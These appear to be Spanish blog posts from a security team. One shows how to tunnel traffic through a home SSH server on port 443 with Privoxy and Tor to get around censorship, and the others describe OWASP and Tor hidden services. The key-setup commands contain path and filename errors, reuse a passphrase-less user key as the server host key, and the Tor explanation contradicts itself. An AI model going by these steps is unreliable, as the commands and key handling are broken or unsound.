Autenticación del origen de los datos- Verificar la identidad de la fuente de los datos que se están enviando es tan importante como los que se están recibiendo, puesto que siempre podemos estar expuestos a ataques del tipo spoofing que suplantarían nuestro tráfico.
Anti Replay Es la habilidad de detectar y rechazar paquetes que son reproducidos o copiados, y sirve para evitar el spoofing.

Data Tunneling/Traffic Flow Confidentiality- Tunneling es el proceso de encapsular un paquete completo dentro de otro paquete y enviarlo sobre una red. El tunneling se utiliza cuando se quiere esconder la identidad del dispositivo que origina el tráfico. Lo que hace es encapsular el tráfico de los host que hay detrás de él modificando el encabezado de los datagramas IP de los mismos. De esta forma no solo se añade total confidencialidad al tráfico, sino que además esconde el origen de las conexiones. Muchas empresas ofrecen este servicio y es en el tunneling al que hace referencia en sus ofertas comerciales para la utilización de internet con privacidad.

 

Usando un servidor ssh propio para saltarse la censura de navegación de una forma sencilla:

Muchas veces se nos restringe el acceso a algún servicio/puerto ya sea porque las políticas de la red que estemos utilizando, por las limitaciones técnicas, firewalls, etc. También puede ser que hayamos viajado a algún país donde no este permitido el acceso a ciertas páginas como es el caso de  China  Wikipedia Lista de webs bloqueadas en China y muchos otros.

En este ejemplo vamos a ver lo fácil que es saltarse casi cualquier restricción en cuanto a conectividad una vez tenemos acceso ssh a una máquina. En este caso supondremos que hemos instalado un servidor ssh en nuestra casa, hemos configurado el router para abrir el puerto 443 y enrutarlo al 22 de nuestro servidor de ssh. ¿Porqué el 443? Bueno, este puerto está normalmente abierto ya que es la versión segura de http para la versión web (https) y no es tan evidente como el 80, otro puerto que sería muy raro que estuviese cerrado hacia afuera dentro de cualquier red. El caso es utilizar un puerto que normalmente no esté cerrado y esos dos son universales.

Normalmente al instalar el servidor ssh puede ser que nos pregunte o no las passphrases según la distribución linux que estemos utilizando.

En este caso vamos a generar nuestras propias claves privada y pública porque es una tarea recomendable el cambiarlas de vez en cuando.

ssh-keygen -t rsa

root@teamsec:~/.ssh$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/root/.ssh/id_rsa.
Your public key has been saved in /home/root/.ssh/id_rsa.pub.
The key fingerprint is:
a6:35:ef:c1:91:91:54:7e:eb:04:9b:8a:7e:fd:11:ec root@teamsec
The key’s randomart image is:

 

Vpnssh
Como no hemos introducido passphrase no genera una extraña imagen aleatoria, a partir de ella se genera la clave rsa

Ahora copiamos nuestra claves al directorio de claves de ssh para que las use como nuestra claves pública y privada.

cp id_rsa /etc/ssh_host_rsa_key
cp ida_rsa_pub /etc/ssh/ssh_host_rsa_key.pub

Una vez tenemos nuestro servidor ssh con sus claves, este ya puede iniciar el protocolo de comunicación cifrado.

Ahora, suponiendo que ya estamos en el extranjero, deseamos acceder a Facebook, pero por alguna razón el país donde estamos nos lo tiene prohibido, de hecho vamos a suponer también que la web de descarga del TorBoundle, nos es inaccesible, y no lo tenemos descargado. Así que vamos a crear un tunnel ssh que nos permitirá saltarnos esa restricción.

$ssh -p 443 -L 80:facebook.com:80 myhome.no-ip.org

Ahora abrimos el navegador y tecleamos en la barra de direcciones
http://localhost

Ya tendríamos acceso a Facebook, pero es engorroso si se quiere visitar más páginas.

Hilando más fino, usando nuestro propio proxy:

Hay 8 escenarios posibles de conexiones túneles ssh genialmente explicados por Vicent Navarro en su magnífico blog y de muy recomendable lectura.

Blog de Vicente Navarro, creando túneles tcpip, port forwarding con ssh, los 8 escenarios posibles usando openssh

Como no solo queremos entrar a Facebook,  vamos a decirle a nuestro tunnel que queremos conectarnos a un servicio de nuestros servidor ssh que nos deje navegar , en este caso usaremos privoxy, que tenemos instalamos en el servidor. Privoxy es  un proxy que corre en el puerto por defecto 8118 asi que ejecutamos:

ssh -p 443 -L 6666:localhost:8118 myhome.no-ip.org

Esto creará un tunnel contra el puerto 8118, que acepta peticiones de un navegador web, así que configuramos nuestro navegador en el puerto de escucha. (-L 6666 significa que nuestra máquina creará un tunnel ssh a través de ese puerto en local 6666, localhost:6666)
Ese será el proxy que debemos configurar en el navegador.
confignavegador
Recordar que se puede configurar privoxy para que utilice la red de TOR siempre y cuando hayamos añadido la linea correspondiente a su configuración. (forward-socks5 / 127.0.0.1:9050 .)

echo “forward-socks5 / 127.0.0.1:9050 .” >> /etc/privoxy/config

De esta forma, conseguimos dos cosas, evitar la censura y securizar la comunicación de el tráfico que generemos desde nuestra máquina hasta nuestra casa, ya que estará cifrado, haciendo muy difícil que se sepa que estamos haciendo a través de esa conexión, además virtualmente estaríamos visitando Facebook desde nuestra propia casa y desde nuestro país, porque así es como lo percibirían los servidores que visitemos de esta manera, excepto claro, si usamos la combinación tor+privoxy en nuestro servidor de ssh, para además añadir privacidad a nuestra navegación.

Como comentaba esta es una forma de portforwarding que funciona, sin utlizar socks y  sin complicadas configuraciones de enrutado de interfaces virtuales que nos exigiría un escenario de reenvío dinámico de puertos

Blog de Vicente Navarro, vpn con openssh

Pablo Martínez. TeamSec


  • 0

OWASP

Tags :

owaps

La fundación OWASP, es una fundación nacida en el año 2004 con objeto de mejorar la seguridad en el software. Mayormente esta fundación se dedica a difundir información para mejorar la seguridad, ya sea a través de sus publicaciones, libros, conferencias, cursos y otro tipo de eventos. Es una comunidad que se rige por varios principios:

Libre y Abierto
Gobernado por consenso
Cumplir con un código ético
Sin ánimo de lucro
No impulsada por intereses comerciales
Enfoque basado en el riesgo

 
 
 
 

Entre sus proyectos locales encontramos:

– Evaluación de la seguridad del DNIe (dni electrónico)

https://www.owasp.org/index.php/Spain/Projects/DNIe

– La especificación de los requisitos legales para aplicaciones web en España.

Identificación de las leyes y reglamentos que pueden afectar a la especificación de requisitos de una aplicación Web

https://owasp.org/index.php/Spain/Projects/Requerimientos_Legales

OWASP reune una gran cantidad de proyectos que están siendo desarrollados en los que encontramos utilidades para la mejora de la seguridad, tales como validadores de formularios para javascript, JSON, etc. y todo tipo de herramientas que dan al desarrollador control sobre lo que hace, normalmente bajo un principio: Se conservador en lo que tu haces, pero se liberal con lo que aceptas de los demás.

Básicamente nos viene a decir que no pierdas el control de lo que estás programando sin restringir en exceso la libertad del usuario. Sobre todo a la hora de validar los datos de entrada de una aplicación, que es mayor foco de vulnerabilidades normalmente.

Entre sus proyectos estrella encontramos OWASP Enterprise Security API, un conjunto de APIS que nos permitirán validar la fiabilidad de nuestro código fuente, ya sea PHP, .NET, python, java, javascript o asp. Muy interesante para alguien que quiera desarrollar código fuente reforzando aspectos de la seguridad.

https://owasp.org/index.php/File:OWASP_Classic_ASP_ESAPI.zip

Además sus tres herramientas más conocidas:

OWASP Web Testing Enviroment Project – Un live CD con las herramientas y la documentación necesaria para comenzar a utilizar OWASP

OWASP WebGoatProject – Es un proyecto web insecuro (a propósito claro) para poder hacer pruebas de pentesting. Está diseñado para probar y divulgar lecciones de seguridad.

OWASP Zed Attack Proxy – Es una herramienta para testear la seguridad de las páginas web, proporciona los escáneres necesarios para detectar vulnerabilidades.

En resumen OWASP es una comunidad abierta y libre sobre la seguridad en aplicaciones, que contiene un montón de proyectos, algunos bien conocidos por los hackers como joomscan.

Además sus libros realmente nos parecen bastante asequibles en cuanto a precio y muy interesantes.

http://www.lulu.com/spotlight/owasp


  • 2

TOR. The Onion Router

Category : Redes , Tor , Uncategorized

TOR The Onion Router

Mucha gente se empieza a interesar en TOR, en su funcionamiento y en sus posibilidades en cuanto al anonimato.

¿Que es Tor? Tor es una red que funciona sobre internet. Nació como un proyecto de la marina estadounidense con el propósito de proteger las comunicaciones militares y gubernamentales. Más tarde el proyecto fue liberado y hoy en día es utilizado por gran número de personas, sean periodistas, gobiernos, activistas, o cualquier otro que quiera proteger su identidad durante sus actividades en la red.

Tor funciona a través de una serie de túneles virtuales, que impiden reconocer el origen de las ips que establecen una comunicación, tratando de asegurar el anonimato.

Lo primero que hace el tor proxy en la maquina donde se instala, es descargar la lista de los tor nodes, para crear un circuito. Estos nodes pertenecen a organizaciones o personas que contribuyen al proyecto de forma altruista mayormente.

El proxy selecciona un nodo de entrada creando la primera clave de sesión, y seguidamente buscará, un middel node con el que extender el circuito por supuesto con otra clave de sesión , hasta el nodo de salida, con el que establecerá otra última clave de sesión TSL

Ahora que está creado el circuito con las claves de cada una de las sesiones, se puede cifrar un mensaje en tres capas, de tal forma que el nodo de entrada desencripta la primera capa, el segundo, la segunda capa y el de salida la última, cada uno con su clave que contendrá los datos con la ip de destino. Como es lógico el nodo de entrada y de salida ignoran por completo cual es el destino, solo el nodo de salida es el conocedor de esta información tras descifrar la última capa del mensaje cifrado. Haciendo que sea muy difícil localizar la ip de origen de dicho tráfico.

Tor-onion-network

 

Onion_diagram

 

La forma que se establece la seguridad en capas es lo que le da el nombre de onion, cebolla en inglés.

Hidden Services, La deep web.

Los hidden services son servicios de internet que funcionan a través de la red de tor. Cualquiera puede montar un servidor “oculto” en la deep web, ya sea porque no quiere publicarlo en internet o bien porque su ISP no permite ese tipo de servicios, su país lo blockea, temas leagales o de censura, etc.

Para generar un hidden service, hace falta crear una dirección en tor. Es un hash con números y letras que termina con una extensión .onion la más famosa de estas direcciones es the hidden wiki, una wiki con los principales enlaces a hidden services de la red tor.

http://kpvz7ki2v5agwt35.onion.to/wiki/‎ (en este caso un servicio web)

Si no funciona este enlace, es normal, tor es una red distribuida y puede caerse una parte o bien puede haber mirrors de la misma web o simplemente han cambiado el hostname.

Estos enlances son distribuidos entre los tor relays, ordenadores destinados a contribuir al proyector tor, lo que hacen es utilizar un protocolo p2p. Lo que consigue es poner en contacto a un usuario con el servicio en concreto, sin exponer como se pretende, el anonimato.

Empezar a usar tor es tan fácil como descargarse el tor boundle de la página, https://www.torproject.org en su versión para cada sistema operativo que lo soporta.

Es un conjunto de herramientas que nos permitirán navegar por internet anónimamente, ya que incluye una versión modificada del navegador firefox, configurada para utilizar tor.

Pablo Martínez. Team Sec